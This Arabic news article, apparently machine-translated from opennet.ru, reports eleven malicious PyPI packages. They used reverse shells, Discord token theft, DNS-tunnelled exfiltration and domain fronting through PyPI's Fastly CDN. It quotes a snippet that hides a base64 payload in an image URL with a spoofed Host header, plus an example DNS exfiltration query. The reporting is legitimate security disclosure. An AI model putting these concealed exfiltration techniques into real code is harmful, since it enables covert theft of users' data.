تم اكتشاف مكتبات ضارة في كتالوج PyPI الذي يستخدم PyPI CDN لإخفاء قناة الاتصال

في دليل PyPI (Python Package Index)، تم تحديد 11 حزمة تحتوي على تعليمات برمجية ضارة. وقبل تحديد المشاكل، تم تنزيل الحزم حوالي 38 ألف مرة في المجمل. وتتميز الحزم الضارة المكتشفة باستخدامها أساليب متطورة لإخفاء قنوات الاتصال مع خوادم المهاجمين.

  • حزمة مهمة (6305 تنزيلًا)، حزمة مهمة (12897) - أنشأت اتصالاً بخادم خارجي تحت ستار الاتصال بـ pypi.python.org لتوفير وصول Shell إلى النظام (Reverse Shell) واستخدمت برنامج trevorc2 لإخفاء قناة الاتصال.
  • pptest (10001)، ipboards (946) - يستخدم DNS كقناة اتصال لنقل معلومات حول النظام (في الحزمة الأولى اسم المضيف، دليل العمل، IP الداخلي والخارجي، في الثانية - اسم المستخدم واسم المضيف) .
  • owlmoon (3285)، DiscordSafety (557)، yiffparty (1859) - حدد رمز خدمة Discord في النظام وأرسله إلى مضيف خارجي.
  • trrfab (287) - أرسل المعرف واسم المضيف ومحتويات /etc/passwd، /etc/hosts، /home إلى المضيف الخارجي.
  • 10Cent10 (490) - أنشأ اتصالًا عكسيًا مع مضيف خارجي.
  • yandex-yt (4183) - عرض رسالة حول تعرض النظام للاختراق وإعادة توجيهه إلى صفحة تحتوي على معلومات إضافية حول الإجراءات الإضافية الصادرة من خلال nda.ya.ru (api.ya.cc).

تجدر الإشارة بشكل خاص إلى طريقة الوصول إلى المضيفين الخارجيين المستخدمة في حزم importantpackage و important-package، والتي استخدمت شبكة تسليم المحتوى Fastly المستخدمة في دليل PyPI لإخفاء نشاطهم. في الواقع، تم إرسال الطلبات إلى خادم pypi.python.org (بما في ذلك تحديد اسم python.org في SNI داخل طلب HTTPS)، ولكن رأس HTTP "Host" تضمن اسم الخادم الذي يتحكم فيه المهاجمون (ثانية. Forward.io.global.prod.fastly.net). أرسلت شبكة توصيل المحتوى طلبًا مشابهًا إلى الخادم المهاجم، باستخدام معلمات اتصال TLS بـ pypi.python.org عند نقل البيانات.

يتم تشغيل البنية التحتية لـ PyPI بواسطة شبكة توصيل المحتوى Fastly، والتي تستخدم وكيل Varnish الشفاف لتخزين الطلبات النموذجية مؤقتًا، وتستخدم أيضًا معالجة شهادة TLS على مستوى CDN، بدلاً من الخوادم النهائية، لإعادة توجيه طلبات HTTPS من خلال وكيل. بغض النظر عن المضيف الهدف، يتم إرسال الطلبات إلى الوكيل، الذي يحدد المضيف المطلوب باستخدام رأس HTTP "Host"، وترتبط أسماء نطاق المضيف بعناوين IP لموازن تحميل CDN النموذجية لجميع عملاء Fastly.

يقوم خادم المهاجمين أيضًا بالتسجيل في CDN Fastly، الذي يوفر خططًا مجانية للجميع ويسمح أيضًا بالتسجيل المجهول. من الجدير بالذكر أنه لإرسال طلبات إلى الضحية عند إنشاء "صدفة عكسية"، يتم أيضًا استخدام مخطط، ولكن يبدأ من جانب مضيف المهاجم. من الخارج، يبدو التفاعل مع خادم المهاجمين وكأنه جلسة مشروعة مع دليل PyPI، مشفرة باستخدام شهادة PyPI TLS. تم استخدام تقنية مشابهة، تُعرف باسم "واجهة المجال"، سابقًا بشكل نشط لإخفاء اسم المضيف عند تجاوز الحظر، وذلك باستخدام القدرة المتوفرة في بعض شبكات CDN للوصول إلى HTTPS من خلال الإشارة إلى مضيف وهمي في SNI ونقل اسم الشبكة فعليًا. المضيف المطلوب في رأس مضيف HTTP داخل جلسة TLS.

تم اكتشاف مكتبات ضارة في كتالوج PyPI الذي يستخدم PyPI CDN لإخفاء قناة الاتصال

لإخفاء النشاط الضار، تم استخدام حزمة TrevorC2 أيضًا لإجراء تفاعل مع الخادم مشابهًا للتنقل العادي عبر الويب، على سبيل المثال، تم إرسال الطلبات الضارة تحت ستار تنزيل الصورة “https://pypi.python.org/images/” guid=” مع ترميز المعلومات في المعلمة guid. URL = "https://pypi.python.org" + "/images" + "؟" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

استخدمت حزمتي pptest وipboards أسلوبًا مختلفًا لإخفاء نشاط الشبكة، استنادًا إلى تشفير المعلومات المفيدة في الاستعلامات إلى خادم DNS. تنقل البرامج الضارة المعلومات عن طريق تنفيذ طلبات DNS مثل "nu4timjagq4fimbuhe.example.com"، حيث يتم تشفير البيانات المرسلة إلى خادم التحكم باستخدام تنسيق base64 في اسم المجال الفرعي. يتلقى المهاجم هذه الرسائل عن طريق التحكم في خادم DNS للمجال example.com.

المصدر: opennet.ru

إضافة تعليق